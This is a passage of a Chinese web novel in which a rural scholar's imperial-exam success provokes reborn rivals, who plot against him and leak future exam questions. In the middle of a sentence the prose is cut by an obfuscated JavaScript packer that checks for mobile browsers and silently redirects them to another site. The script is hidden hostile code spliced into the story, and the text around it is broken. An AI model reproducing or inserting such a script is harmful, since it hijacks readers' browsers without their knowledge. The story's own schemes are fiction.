闻颜适时道:“时间不早了,大家今晚就别回去了,在客栈住下,明儿一早我再安排马车送大家回去。” 随后,她便带着大家,往京城最大的客栈而去。 路上,应族长跟应知林一路闲聊。 确定应知林明要参加会试之后,应知林又和闻颜商量道:“你是我们村的第一个举人,至少要摆三天流水席庆贺! 对还要开祠堂祭祖,告慰祖宗。” “你们年轻人事务繁忙,这件事就交给我来办。” 闻颜立即道:“只不过,我从未操持过这等宴席,恐怕只能出点钱,需要族长您来主持大局。” 闻颜一席话,让应族长觉得自己十分重要。 应知林小两口,没他当定海神针家都得散。 应族长顿时精神奕奕,红光满面。 确定好升学宴之事,他们就到了客栈。 包下半间客栈给他们歇脚,又在隔壁酒楼订了五桌席面感谢村民相助。 津平侯府内。 霍耀行也得到了应知林全部信息。 应知林竟然是闻颜嫁的那个穷酸秀才。 不知为何,霍耀行心中烦闷不已。 他扯开衣领,呼吸才顺畅些。 他虽未留意过应知林的长相,想必定如田间的佃农一般,又黑又丑,还带一身的泥腥味。 闻颜定是不甘被自己抛弃,才托举泥腿子来参加乡试,力压自己一头。 应知林也是在成婚后不久,才去梧桐书院念书。 据说,梧桐书院的山长季如晦对他指点颇多。 也难怪他能考中解元。 季如晦教书的本事,霍耀行是认同的。 前世的自己,本来连进前十的资质都无。 却在季如晦的指点之下,得了探花之位。 可惜。 季如晦那个老东西实在吝啬,竟然不肯将人脉送与他用。 他也只好将老东西气死,以绝后患。 应知林能考中举人,说不定有些读书天份。 若是让季如晦继续指点,说不定真让应知林考中进士。 不行! 今生的闻颜,不配青云直上,只配在泥淖中挣扎。 眸光流转间,他已经有了对付那个东西的主意。 至于那个祁云舟…… 今生状元之位他要定了,他不容许有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344325|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一丁点的变数。 祁云舟这块绊脚石,就不该出现! 他拿定主意,又有下人来报。 “说吧,什么事。”霍耀行的心情很好。 下人抬头看了他一眼,才道:“外面在传流言,你因为与闻二小姐的婚事,嫉妒应解,解篥压您一头,所以……所以联合老应家的人,败坏应知林的名声。 京兆府还过了堂,墨竹被抓了现形,挨了十个板子,刚刚被抬回来。” “蠢货!竟然连这点小事都办不好!”霍耀行气得砸了茶杯。 刚刚才好起来的心情,再次降到谷底。 同样大发雷霆,还有一院之隔的闻如月。 闻如月不敢相信自己听到的。 应知林他……竟然中了解元! 他若真有这般读书天赋,前世为何不考一个解元回来,给自己张张脸? 换成闻如月,他就立马中了! 应知林就是故意在针对自己,恶心自己。 霍耀行也不争气,明明稳操胜券的解元,竟然就这样拱手相让! 莫非,他对闻颜旧情难断。 宁愿牺牲自己的前途,也要让闻颜再次成为人上人? 不行! 她绝不允许! 她重生一回,好不容易把闻颜踩在泥里,怎能让她翻身。 她一定要比前世的闻颜更风光。 闻颜当了探花郎夫人,那她必须做状元夫人。 没有人可以阻碍她! 她在屋中焦急踱步。 忽然,她坐到桌前,提笔开写。 不一会儿,她便将明看会试和殿试的考题全都写了下来。 多亏她前世为了勾引霍耀行,营造出自己崇拜他的假象,特地背下他会、殿二试的答卷。 没想到,竟在此时派上用场。 她吹干墨迹,收好考题,吩咐丫鬟:“去,备一桌好菜,晚上我要与世子爷小酌一杯。” 至于前世的状元祁云舟,她不会让霍耀行的状元路,有任何的意外。 那么,祁云舟就没上考场的必要了。 而应知林,让他考上举人已经给了脸了。 自己在他身上得不到的,闻颜也休想得到。 第284章:嫌弃糟糠之妻 月上柳梢头。 霍耀行姗姗来迟。 闻如月坐在窗前等他。 看见他进院,立即像只欢快的蝴蝶,飞扑进他怀中:“夫君,你让我好等。” 闻如月娇嗔地勾着他的腰带,往屋内带,“夫君,我为你准备了好东西。” 闻如月为了等他来,特地洗了澡,上了妆,还换上他喜欢的衣裳。 半透的纱衫,衬得她娇好的身材越发诱人。 霍耀行的眼中却无半点波澜,反而皱了皱眉。 他掩下眼中的不耐烦,还是跟她入了暖阁。 两人落座之后,闻如月像无骨的菟丝花一般,缠绵在他身上,腻腻歪歪的调情许久。 霍耀行不为所动。 明明前世他如狼似虎,今生怎地如此冷淡? 莫非只有偷情才能刺激到他? 闻如月不甘地撇了撇嘴,收起神通,拿出她提前写好的考题:“喏,这就是我为你准备的东西。” 霍耀行一目十行地看完,轻蹙眉头,疑惑不解:“这是……?” “明年会试的考题。” 霍耀行惊讶地瞪圆眼睛:“你怎么会……” 闻如月扬起下巴,傲骄而得意地哼了一声:“我能预知未来,不是早就向你证明过了吗?” “提前得知考题,夫君你就能提前做准备。 明年的状元,非你莫属。” 闻如月现在很是后悔。 前世她就应该把祁云舟的答卷一并背下来。 霍耀行只需要背下祁云舟的文章,根本不需要再辛苦备考。 霍耀行握住闻如月的手,眼中满是温柔:“夫人,能娶到你,是我的幸事。” 闻如月娇媚一笑,拉着他的手按在她的腹部,“夫君,母亲一直在催我们要个孩子…… 说着,她便吻了上去。 翌日清晨。 应族长一行启程回村。 闻颜和应知林相送。 应知林与村民寒暄。 闻颜与应族长在一旁说话。 她将一只钱袋交给应族长:“知林今晚参加鹿鸣宴,明后天应该还要维护同年关系。 回去要四五日之后,流水席的事就要辛苦您操持了。 这里面有五十两银子,一部分用来答谢今日帮忙的村民,剩下的就用来置办流水席。 不必想着省钱。” 应族长没想到闻颜这般信任他,‘哎哎’应着,保证道:“你放心吧,知林一生只当一次解元我怎么也要办得风风光光。” 送走了村民。 闻颜顺道用马车送应知林回住处。 应知林低着头,轻咳一声:“那些银子,我会记账的。” 闻颜不在意地摆摆手:“你这就见外了不是,我们是合作伙伴,自当互帮互助。 他日你做了官,我能得到不少的好处和便利。” 闻颜把一切算得明明白白。 应知林只觉心脏中了一箭。 很快,他们就回到了宅子门口。 门外站着一名穿着儒衫的书生。 马车停下,书生转过身来,看到夫妻二人,拱手道:“兄台可是应知林?” “是我。”应知林回礼,“你是?” 书生道:“在下祁云舟,也是本次乡试的考生,我今日前来,有事相求。” 闻颜听见他的名字,眼神亮了亮。 祁云舟! 明年的状元。 此人品性端方,不仅学问出众,治世手腕更是一流。 前世,闻颜就听过不少他的功绩。 是个心思玲珑,又一心为民的好官。 据说他出现在普通的书香世家,却从会试开始,一直压在霍耀行头顶。 不管霍耀行怎么努力,祁云舟都比他更优秀,政绩更突出。 “原来是祁兄,”两人礼貌地寒暄几句,越聊越觉得对方很合自己的脾气,有种相见恨晚的感觉。 “不知此次前来,所为何事?”应知林发现闻颜时不时瞧他一眼,强行结束话题。 祁云舟面露羞赧,挠了挠头,“实不相瞒,祁某身体特殊,受不得蚊虫叮咬,不仅会瘙痒难耐,还会红肿过敏。 今年考试,多亏了你同窗燃的驱虫熏香,驱赶了大部分蚊虫,我才少受很多折磨。 所以,祁某今天才厚着脸皮冒昧上门,向应兄请教,那驱虫的药粉,是从何处购得。” “那些东西,都是我的妻子为我准备的,”应知林看向闻颜,“所以,你得问我妻子。” “那是我自己随便配的草药,在市面上买不到。”闻颜说。 “这……”祁云舟立即露出一脸为难的神情。 如果是她自己制作的东西,就不方便讨要了。 他想了想,便向闻颜求购。 闻颜为难道:“这个药粉制作很是麻烦,我恐怕没法为你制作,不过我可以把药方卖与你。” “还请夫人开个价。” 闻颜眼珠子转了转,道:“钱就不必了,你拿两幅墨宝来换就好。” 祁云舟的字写得很好。 明年他中状元之后,一夜之间名声大噪,他的字画在京城千金难求。 现在向他换两幅墨宝,应该不过分吧! 祁云舟没想到闻颜会提这个要求。 他怔了一怔,便爽快地答应了。 并且还买二送一。 闻颜也爽快地写了药方给他。 “应兄,晚上鹿鸣宴见。”祁云舟拿着药方,脚步轻快地离开了。 闻颜看着他的背影,失笑地摇了摇头。 前世他乡试名次靠后,必定是吃了蚊虫的苦。 来年会试天气尚冷,没有蚊虫困扰,便接连拿下会元、状元。 这回名次提前,应该是受到那些驱虫药粉的影响…… 她正想着。 眼前忽然一花。 她抬起头,是应知林站在前面,挡住了她的视线。 闻颜好奇:“怎么了?你还有事?” “你还有别的事要忙吗?要不要去院中坐一会儿?”姓祁的就这么好看吗? 他的脸没自己精致。 他的身板比自己单薄。 闻颜为何看得目不转睛? “不了,我还有事就先走了。”闻颜摇摇头,就转身上了马车。 应知林目送马车消失在视线之中,他转身推开院门,刚走进去。 就见宋驱几位同窗,抱着胸,成排站在院子里盯着他。 应知林吓了一跳:“你们这是干什么?” 宋驱几步走上前来,勾住他的脖子,审问道:“乡试都结束了,你怎么还住在这里?” “你小子,不会是中了解元,就嫌弃糟糠之妻了吧!” 第285章: 美貌暴击 应知林一把推开宋驱的爪子:“臭嘴说什么呢! 谁家的糟糠之妻有闻颜漂亮? 谁家的糟糠之妻有闻颜有钱? 谁家的糟糠之妻有闻颜温柔可爱?” 应知林灵魂三问。 宋驱:“……” 其他同窗齐齐后退,同时摆手,表示他们跟宋驱没有任何关系。 宋驱瞪着他们咬牙:“你们好样的!” 他转身就想溜,却被应知林抓着手腕,轻飘飘地拽了回来。 应知林盯着宋驱:“你道歉。” 宋驱眨巴着眼睛:“跟谁道什么歉?” “当然是给闻颜道歉,你刚才说她是糟糠之妻。” “哈?!”让他为‘糟糠之妻’这四个字道歉? “糟糠之妻是形容共患难过的妻子,闻颜一直养我,根本没让我吃过苦。” 宋驱感觉应知林披上了一层圣光。 他先郑重其事地对闻颜立即道歉,随后敲了敲应知林的脑袋:“你是不是长新脑子了?” “什么新脑子?”同窗在一旁起哄问道。 宋驱:“当然是恋爱脑啊!” 众人哈哈大笑着跑开。 应知林立即追了上去,“你们给我站住,看我怎么收拾你们。” “我们傻吗?明知道要挨收拾,怎会乖乖停下?” 应知林和同窗玩闹着,跑在前面的同窗,忽然顿住,撞成一团。 应知林顺势将罪魁祸首宋驱抓住,刚要说话,就看见门口去而复返的闻颜,正笑盈盈看着他。 自己刚才幼稚的打闹举动,岂不是全被她看见了? 应知林脸颊滚烫:“你怎么回来了?” 闻颜将一个包袱递到他面前,“你今晚不是要去参加鹿鸣宴吗?我给你准备了一身衣裳,刚才忘记给你了。” 应知林伸手接过,一时间都不知该不该道谢。 “你本来就小,像这样打打闹闹才正常嘛。”闻颜踮起脚尖,拍拍他的脑袋,道别一声就离开了。 应知林的脸唰地一下红透。 自己好像被闻颜当成小孩了! 他心里仿佛吃了一颗话梅干,既甜又酸涩。 宋驱拍拍他的脑袋,学着闻颜的样子和语气:“知林还是宝宝,像这样打打闹闹才正常嘛!” 应知林恼了:“……宋驱,我咬你!” 鹿鸣宴是由地方官员,为新科举人举办的宴会,庆祝学子中举。 京城的鹿鸣宴,一般都在国子监举办。 除了京城府尹,国子监、礼部都会派人来参加。 是以,夕阳斜之时,国子监门口就热闹起来。 除了赴宴的学子,还有许多因为好奇,来凑热闹的百姓。 “这位突然冒出头的新解元,也不知长得如何?是老是小,是俊是丑。” “你没听说吗?这位新晋解元,正是闻家二小姐的乡下夫婿,据说他长得很是貌美。” 霍耀行上了马车,听见的便是这等议论。 他神情不变,与朋友、同年们寒暄。 他重生之后,并未闲着,一起到各处赴宴,结交了许多朋友,都是明年能中进士,未来对他仕途有利的人。 忽然。 人群里有人对霍耀行指指点点:“你们瞧,他就是霍家的世子爷!这次得了第六名,很是厉害。” “会作学问又如何?”他的同伴不赞同地摇摇头,“别看他一副风度翩翩,光风霁月的样子,实则心胸狭隘。 明明自己悔婚,又见不得闻二小姐过得好。 就故意派人去毁了应秀才。” 那些人毫不避讳。 这些话一字不少地落入霍耀行,和他朋友们的耳中。 霍耀行的脸色倏地一变。 他的同窗尴尬不已,安慰道:“都是些没见过世面的百姓在胡言乱语,他们不知内情,容易偏听偏信,你千万别往心里去。 就把他们的话当屁放了吧。” 霍耀行脸色几经变幻,最后他故作潇洒地叹了口气,声音里又是无奈又是委屈:“我竟不知,我与那位闻二小姐何时有过私情。 我们总共只见过两次面,相处时间不足一刻钟。 说来你们可能会觉得我冷血,我与闻二小姐之间就如同萍水相逢的陌生人,我对她没有半点私情。 至于婚事,我从来都是听从父亲母亲安排,不管二老让我娶谁,作为我的妻子,我都会永远的敬她爱她。” “至于今年的解元,我为何要自降身份去为难他? 就算将他拉下马,解元之位也轮不到我。 我傻了才会去淌这一趟浑水。 只怪我那小厮,喜好八卦。 看老应家的人哭得可怜,就犯了心软的毛病,凑上去瞎指挥。 他在上公堂之前,甚至不知应解元,与闻二小姐和我之间的关系。” 霍耀行一通解释。 他的朋友跟着附和:“要是真的害人,岂会派贴身小厮去?这是生怕查不到自己身上吗?” “况且,你是侯府世子,应解元是耕读子弟,他就算中了解元,奋斗一辈子,恐怕也赶不上你十分之一。 霍兄对付他反而落了下乘。” “霍兄这也算是无妄之灾了。” 几人一唱一和,不管旁边的路人信不信,他们这些举人已经信了大半人。 霍耀行的脸色才好看了些。 他们正准备进国子监。 就听街头传来爽朗的说笑声。 霍耀行几人不由看了过去。 几名书生打扮的人,逆着夕阳而来。 他们衣带飘扬,言行爽朗,让人心生亲切。 不时。 一行人走到国子监门口。 众人这才看清他们的容貌。 他们容貌各异,有人生得俊美,有人相貌平平,唯一不变的,是他们通身儒雅的气质,平和睿智的眼神。 唯有领头之人,生得朗眉星目,高大挺拔,既有书生的文气,又有儒将的气势。 他穿着一件青色的提花长衫,精致又不失低调。 就连霍耀行都忍不住看了他一眼又一眼。 在朋友的鼓动下,他正准备上前结交一番。 他刚迈出步子,就听不远处的祁云舟,对他的同乡道:“看见没,长得最俊美的那个,便是今年的解元,应知林。” “走,我们过去,介绍给你认识。”祁云舟拉着同乡就迎了上去。 霍耀行伸出去的脚,猛地缩了回来。 遭受美貌暴击的霍耀行,不敢相信此人,竟是应知林! 与他想象中的泥腿子没有半分相似之处! 第286章:贵客、求夸奖 刚刚还开导他的朋友,就看见霍耀行脸上的欣赏,以肉眼可见的速度变成嫉妒和厌恶。 这样看来,霍耀行针对应知林也不无可能。 一人被自己舍弃的女人,所嫁夫君不仅比自己有学识,连容貌都比自己俊美。 心态很难不崩! 霍耀行的目光,几乎要在应知林身上烧出一个洞来。 果然啊! 闻颜就是一个肤浅至极的女人。 他一直奇怪,闻颜为何会帮一个泥腿子逆天改命。 毕竟,请动季如晦那个老不死的,要付出不小的代价。 原来,是看中了这张脸。 不过,他们的好运也到此为止了。 霍耀行斜了身边的朋友一眼:“毕竟是本次解元,你们自行上前结交即可。” 他笑盈盈的,看着很是和气。 众人却知道,霍耀行这是在逼他们站队。 他和应知林,只能二选一。 一个耕读之家的解元,怎及得上侯府世子。 他们知道该怎么选。 跟着霍耀行就进了国子监。 霍耀行一行带头孤立疏远应知林,其余人读出气氛微妙,他们在得罪解元和得罪侯府之间,选择了明哲保身。 应知林孤身一人,兴许会有一丢丢不适。 但他却与十来位同窗,一同赴宴。 还有祁云舟在一旁知林长知林短。 别说是被孤立,应知林甚至觉得同窗聒噪,不过也结识了两三个不错的朋友。 鹿鸣宴结束后,应知林和与新认识的朋友走动、应酬之后,便与闻颜一起回了松山村。 闻颜不知,他们离开不久,‘一点墨’的门前,就停了一辆低调华丽的马车。 马车上跳下一个锦衣小童,他一阵风似的跑进铺子,踮着脚尖,趴在柜台上,仰着一张粉雕玉琢的脸问苏合:“闻颜姐姐是住在这里吗?” 苏合道:“你找我家小姐?” “闻颜姐姐回来了,也不去泰王府探望我。 我在家里左等右等不见她,只好自己来找她了。” 苏合听见‘泰王府’再根据他的年龄,很快猜到他就是泰王孙。 苏合连忙道:“小姐已经回松山村了,我家姑爷考中了解元,回去办流水席,敬告先辈,与亲友同庆。” 泰王孙跺了跺脚,对着身边侍候的人发脾气:“你看,我就说要早点来吧,你偏不信,这下错过了。” 小厮不敢狡辩,连忙告罪。 泰王孙哼了哼:“你去备一份礼,我们明天也去吃那个流水席。” “这可使不得。你是王孙,怎能去那等鱼龙混杂之地,太危险了。” 泰王孙不高兴了:“你是主子我是主子?” 小厮顿时不敢吱声了。 松山村里。 应族长带着人将流水席准备得七七八八。 席面是按村里最高规格准备的,除此之外还特地准备了祭祀的小三牲猪、鱼、鸡。 大批酒水并不好订。 应族长也是花了很多功夫,通过县城杂货铺才订到。 宗祠旁边临时搭建的厨房里,代婆婆拉着闻颜的手,跟她讲菜色。 八个凉菜,四荤四素,六个蒸菜,四咸两甜,另外有整鸡、整鱼、一汤一素。 共十八个菜。 代婆婆自豪地道:“去年地主老财过寿,也没咱们的席面丰盛。” “代婆婆做事,我最是放心。” 转眼,就到了流水席的正日子。 应族长比应知林还紧张。 天刚亮,他就打发两个大孙子,赶着牛车,去县城把酒拉回来。 整个村子都张灯结彩,喜气洋洋。 闻颜和应知林也装扮一新。 巳时刚过,就陆续有人上门。 除了村里的人,还有许多应氏族亲。 应知林的母族也来了人。 是一对中年夫妇,背着一位老太太。 应知林见到来人,当即就迎了上去,亲自扶着老太太:“外祖母!” 应知林的母亲焦丽娘是家中独女,外祖父早逝,外祖母体弱,再加上乔婆子凶悍,这些年少与这边走动。 今日是外孙的大喜之日,外祖母才撑着病体过来。 外祖母甚是欣慰地拍着他的手:“你没有辜负你外祖父的期望!” 应知林眼眶泛红,朝闻颜招了招手:“这是外祖母,这位是表舅,这位是表舅母。” 闻颜大步走了过去,一一见礼:“外祖母、表舅、表舅母。” 外祖母慈爱地摩挲着闻颜的手。 随即就将头上的祥云银簪摘了下来:“好孩子,这是知林他外祖父送我的订亲信物,今日转赠与你,就当是我和你外祖父的心意。” 说完,她就将银簪插在闻颜鬓间。 闻颜碰了碰鬓间的银簪,软声道谢:“谢谢外祖母。” 心里却想着发簪珍贵,自己没有立场收下。 等今日忙完,再抽个时间还给应知林,由他交给未来真正的妻子。 外祖母的身体真的很虚弱。 只说了这几句话,就脸色发白,站不稳当了。 应知林连忙将人背回自己的房间:“外祖母,您在这里休息,等到时候了,我再叫您过去。” 闻颜见老人家身体虚弱,虚不受补,就砌了一盅参须茶送过去。 外祖母喝过参茶,没说上两句话,就睡了过去。 表舅妈别过脸去抹了抹泪,可见她是真正担心外祖母身体。 闻颜不放心留她一个人,便让哑妹在房间里照看着。 她刚吩咐完,立夏就匆匆跑回房间:“小姐,将军府来人了。” 闻颜提着裙摆就小跑出去。 刚出院门,就连几辆马车停在院门口。 白夫人带着几个孩子,热热闹闹地下马车。 应知林在一旁迎接。 “义母!”闻颜开心地飞奔过去。 白夫人点点闻颜的眉心:“都当上解元夫人了,还这么跳脱,孩子气。” “在义母面前,我永远都是孩子嘛!”闻颜俏皮地吐了吐舌头,又跟孟家的几个姐妹兄弟打招呼。 她搀着白夫人往里走。 “白夫人!”客人连忙过来见礼。 庄户人家不懂贵人的礼数,行礼不伦不类。 白夫人笑容亲切,让大家不必拘礼。 镇国将军威镇八方,他的妻子也战功赫赫,不少人敬仰着她。 本以为她是可望不可及的存在,今日一见,却这般平易近人。 有胆大的妇人,上前自报家门:“白夫人,我叫兰花,大家都叫我兰婶子,我最会编草鞋。” “是吗?”白夫人打量着她,祖母下移,落到她的脚上。看见她穿着的草鞋,问道,“这就是你自己编的吗?看上去很结实,花纹也漂亮。” 兰婶子没想到会被夸,顿时脸颊羞得通红。 本想再说什么,偏偏笨嘴不争气,紧张得什么都说不出来。 旁边又来一个婶了。 胖腚一扭,就将兰婶子挤开:“白夫人,我最会养鸡,我家的母鸡每天都会下一个蛋。” 圆乎乎的脸上,全是求夸将的表情。 旁边有人起哄拆台,“白夫人面前可不兴说谎,你家的鸡都是你闺女在喂。” “闺女还是我养的呢!怎么不算是我会养鸡呢?”胖婶子哼哼唧唧地强词夺理,惹得众人哄堂大笑。 这时,立夏再次来回禀:“小姐,泰王府的马车过来了。” 原本热闹的院子,渐渐安静。 能见到白夫人已经出乎预料。 竟然不有王府上门。 莫非,闻颜认识什么王妃郡主? 第287章:原来是为了应知林 闻颜在开蒙宴上,救了泰王孙后,泰王孙就异常依赖喜欢她,还要认她当干娘。 虽然她当时异常坚定地拒绝了,但是泰王多思敏锐,把这个孩子看得比命还重。 定会觉得‘救命之恩’太过巧合,怀疑她目的不纯。 他容许旁人打他的主意,敢从他孙子着手,那就是在拔他逆鳞。 她确实抱有目的,原本是想让泰王欠她一个人情,能在关键时刻有所帮助。 可不是想被泰王时时提防。 所以此后她就再未登过泰王府。 就连中秋节,她给恭太妃送了月饼,也没往泰王府表示。 她刻意保持距离,就是在告诉泰王,她没有非分之想。 好在她的以退为进有成效。 果然等到泰王松口了。 “闻颜姐姐……你前几天去京城,为何不去见我?”随着一道稚气童声抱怨,一个身着绸衣,粉雕玉琢的七八岁娃娃,欢快地跑进院子。 他的身后,还跟着两名捧着礼盒的小厮。 泰王孙一眼看见站在堂屋门口的闻颜。 他欢快地跑向她。 待他跑到檐下,就看见堂屋里坐着的白夫人。 他的身体比脑子快。 猛地刹住脚步,调头就跑。 “容哥儿,来都来了,你跑什么?”白夫人带头笑意说道。 泰王孙姬容只得停下来,蔫头耷脑地转过身,蹭步进了堂屋里,对着白夫人行了一个礼:“白祖母。” 看来,泰王孙很怕孟家人啊! 之前怕孟迟飞,现在怕白夫人。 “哟,你刚才不是挺高兴的吗?现在怎么蔫了?难道是不想看见我?” 泰王孙把头摇得像拔浪鼓:“没有没有,是……是我把礼物放在马车上了,我回去拿。” 白夫人接着问:“是谁让你过来的?你祖父知道吗?今天的课业学完了吧? 你闻颜姐姐的夫君是解元,我家迟飞将来的夫君,也不能比这个差。” 泰王孙一听,粉雕玉琢的脸,顿时愁得像吃了苦瓜。 他朝闻颜投去求救的眼神。 闻颜望天,什么都没看见。 不过,义母刚才的话是什么意思? 莫非姬容这个小逗丁,还想娶迟飞姐姐不成? 可他才七岁,迟飞姐姐十九岁,两人之间差了整整一轮! 怎么想,都是小孩子的稚气话,闻颜想一想,就抛诸脑后。 没一会儿,梧桐书院的客人就来了。 闻颜与应知林一起接待。 随着时间推移,客人越到越多。 应知林就将男客引去祠堂那边,宅子这边就只接待女客。 白夫人见闻颜忙不过来,便朝她摆摆手:“你自去忙,我和你祖母说会儿话。” 闻颜想了想,把应知海叫来,让他带着泰王孙一起玩耍。 乡绅、富商都陆续来了。 乡绅从旁人的聊天当中,得知镇国将军府、泰王府都来了人,连忙叫来小厮,进城去通知县令和县丞大人。 应家从未这般热闹过,闻颜身边有青禾、立夏两个得力干将,一切都忙而不乱。 全村都喜气洋洋,唯独老应家的人不高兴。 他们隔着半个村子,都能听见应家传来的欢声笑语。 同时,他们心里也惴惴不安脸。 那日被带回来后,应族长没有即刻处理他们,而是时时派人盯着。 除了家里、地里,别的地方一律不许去。 这种悬而未决的感觉,快要把他们逼疯。 再有半个时辰,保护神仪式就要开始。 大虎哥突然跑来找闻颜:“青山哥进城拉酒还没回来。” 青山是应族长的长孙,早上被族长派去县城拉酒水了。 “怎么回事?可是路上出了意外?牛车坏了吗?” “我也不清楚,青山哥还没回来。我娘一直记着酒水的事儿,心里不踏实就叫我来跟你说说。” 闻颜想了想,对大虎哥道:“不行,这件事我得亲自跑一趟,大虎哥你等我一会儿。” 闻颜回屋跟白夫人和青禾、立夏交待一声,便牵了两匹马,和大虎哥朝县城疾驰而去。 松山村离县城不算远,快马加鞭不到一盏茶的功夫就到了。 大虎哥带路,很快就来到县城最大的‘苏记杂货铺’。 抬头看了一眼杂货铺的招牌,闻颜的眉头轻轻一皱。 她刚要抬脚往里走,就听见铺子里传来青山哥急切恳求的声音:“老板娘、须妹子,你再派人催一催酒吧,都午时了还没到。 当初不是说好了,我们今儿辰时就能提货的吗?” 老板娘无奈说道:“你再等等。我已经派人去催过三四次了吗? 酒坊那边有事耽搁了,你催我也没办法啊! 你真要这么急,直接去跟酒坊买好了。” 当初他们本就打算去酒坊买的。 让老板娘听见了,就自告奋勇的说跟酒坊有合作,他们去拿酒更方便。 想到老板娘跟应知林曾经的关系,便同意了。 谁知老板娘在关键时刻放他鸽子。 闻颜抬步走进去,就看见青山哥被噎得脸红筋涨。 青山哥几乎是用央求的语气道:“今天是知林的好日子,没有酒水岂不是要搞砸了?就算看在当初的情分上,你也不忍心看他在好日子里出丑的吧!” 老板娘露出着急难受的表情,嘴角不受控制地上扬,却暴露了她的真实情绪。 上次老板娘莫名其妙针对自己,原来是为了应知林! 或许,老板娘一开始就抱着让应知林出丑的目的。 “到底是酒没送来?还是你们根本就没订酒?”闻颜走到青山哥旁边,定定看着老板娘,质问道。 老板娘看见闻颜,眼中闪过厌恶。 “这位千金小姐,你别站着说话不腰疼,你以为生意是这么好做的吗? 你要是这么有本事,自己去订酒水好了,干嘛求到我面前来。” 青山哥当即就要护着闻颜。 却被闻颜制止。 她看着老板娘道:“我们卖酒?有酒票吗?拿给我看,否则我去县衙举报你们,卖私酒。” 大庸朝的酒水管理很严格,普通商户想拿到酒票非常艰。 一旦被举报,又少不得大出血。 老板娘真怕闻颜去举报,当即就拿出酒票副券,让闻颜隔着柜台看。 闻颜忽地夺过酒票,确认之后,她问应青山:“青山哥,你可知苏家老板住在何处?” “知道。” “你们想干什么!把酒券还给我!”老板娘预感孬,尖叫着,想夺回酒券。 闻颜后退一步躲开,转身就往外走:“带我过去。” 闻颜才懒得管她和应知林到底有什么恩怨。 有人敢践踏她的面子,她定要数倍奉还。 第288章:随机应变 老板娘猜到闻颜要干什么,瞬间五雷轰顶。 当即追出来,却只看见马屁股消失在街角的身影。 她急得吩咐小二把店看好,就追了出去。 不时,闻颜三人就到了苏记老板家中。 “敲门。”闻颜坐在马上,吩咐道。 大虎哥立即跳下马,上去把门敲得震天响。 巨大的敲门声,很快就将四邻吸引过来。 院门也在此时从里面打开。 一位头发苍白的老妇人,紧张地看着大虎哥:“你……你们找谁?” “这里住的可是苏记杂货铺的东家?” “那是我儿子,你们……” “把他叫来,有事叫他。”大虎可虽然一脸憨厚,但他身强力壮,说话声音一大,就很吓人。 老妇人吓得腿软,正要回去叫人,一个眼圈青紫,模样普通的男子就走了出来。 他心疼地扶住老妇人,朝大虎哥拱拱手,语气却带头埋怨:“诸位,有话好好说。” “你们店大欺客,还有什么好说的。”闻颜冷声道。 老板这才看见闻颜,他先是打量一圈闻颜衣着,心中有数之后,声音都软和了许多:“这位夫人,最近我一直在外进货,可是小店有招待不周之处,你尽管说出来,我一定尽力补偿。” “你当我需要一个小小杂货铺的补偿?” 老板心里咯噔一声,终于意识到事情不简单,再次询问理由。 闻颜对青山哥使了个眼色。 青山哥便将事情讲了一遍,还拿出了订货单。 老板听后,先是不可置信,还为他的妻子,也就是老板娘辩解。 说她平时很是和气,这其中定有误会。 还想将问题推到酒坊。 忽然,他想到什么,多问了一句:“请问,订货的客人姓什么?” 青山哥冷声道:“姓应,是本届解元。这次的酒,也是订来给解元老爷办酒水席的。” 老板脸色一变,脸上闪过一抹愤怒。 但他很快压下情绪,拱手道歉。 闻颜不耐烦地打断他:“别整这些虚头八脑的,两刻钟后,我们订酒没送到,你们杂货铺以后都别想再卖酒。” 闻颜晃了晃手中酒票,扯着缰绳,离开了此处。 老板朝巷子拐角处瞪了一眼。 拐角处磨磨蹭蹭走出一个妇人,正是杂货铺的老板娘。 老板扶着老妇人回了院子。 老妇人拉着老板的胳膊:“是不是须娘做错了事?有话好好说,你别凶她。” 士农工商,是无法逾越的鸿沟。 妻子此举,差点害死全家。 老板回到房间,冷着脸快速换衣,出去补救错误。 老板娘蹭到房门口,弱弱唤了一声:“夫君。” 男人连头都没回,冷声道:“说吧,为什么要这样做?” 老板娘咬着嘴唇不回答。 男人也不逼问。 换好衣服之后,就大步往外走。 老板娘突然一把拉住男人的手,她泣声央求道:“夫君,不要。” “不要什么?”男人回头,声色俱厉,“你不把我弄得家破人亡,不甘心是吧!” 老板娘委屈得直抹眼泪。 “我知道,你一直嫌弃我是商户。”男人深吸一口气,“既然你这么放不下姓应的,那就去找他吧,我这间小庙容不下你那惊天动地的爱情。” 说完,他便甩开老板娘,牵出自己家的骡子,朝酒坊而去。 闻颜离开后,并未直接回松山村,而是去县城最大的酒楼。 进店后,闻颜直接道:“我有笔大生意叫你们掌柜谈。” 闻颜一身锦衣,店小二便以为他是来订席面的,不敢怠慢,立即将掌柜叫来。 “你们店最好的酒,我要二十坛。” 闻颜说的一坛是二十斤装的。 掌柜:“……” 闻颜:“没有吗?” “不是,有有有,只是我店里只有五坛,剩下的十五坛要去酒窖搬,可能没那么快。” “那就先给我四坛,剩下的,你两刻钟送到就好。”闻颜和大虎哥先带着四坛酒回去,把青山哥留下运送最后的酒水。 闻颜带着酒回到松山村。 刚进村子,就看见应知雪正四处找她。 见她骑马回来,当即就怒气冲冲地埋怨:“拜托,大家知道你会骑马,但也没必要在这个时候出去兜风啊! 想展现本事,也得分清场合啊!” 闻颜把缰绳交给大虎哥:“剩下的就麻烦你了。对了,大虎哥你注意着点,苏记杂货铺的老板送酒来,先别收。” 大虎哥知道这事没儿没完,点点头,牵着马先把酒送去宗祠。 闻颜这才问青禾:“什么情况?” “宗祠那边祭祀就要开始了,应族长找你。” “我知道了。对了,祭祀有观礼的人吧,都请了谁?” 青禾言简意赅地说完。 除了应氏宗亲,姻亲,还特地请了白夫人和泰王孙。 闻颜问:“应知林的外祖母呢?” “没有请。” 闻颜想了想,道:“你去找一顶软桥,把外祖母和祖母一起抬过去。” 祖母,便是五婆婆。 “若是族长问起来,就说是我的意思。他们若是有意见,就须得把我义母一起请出来。” 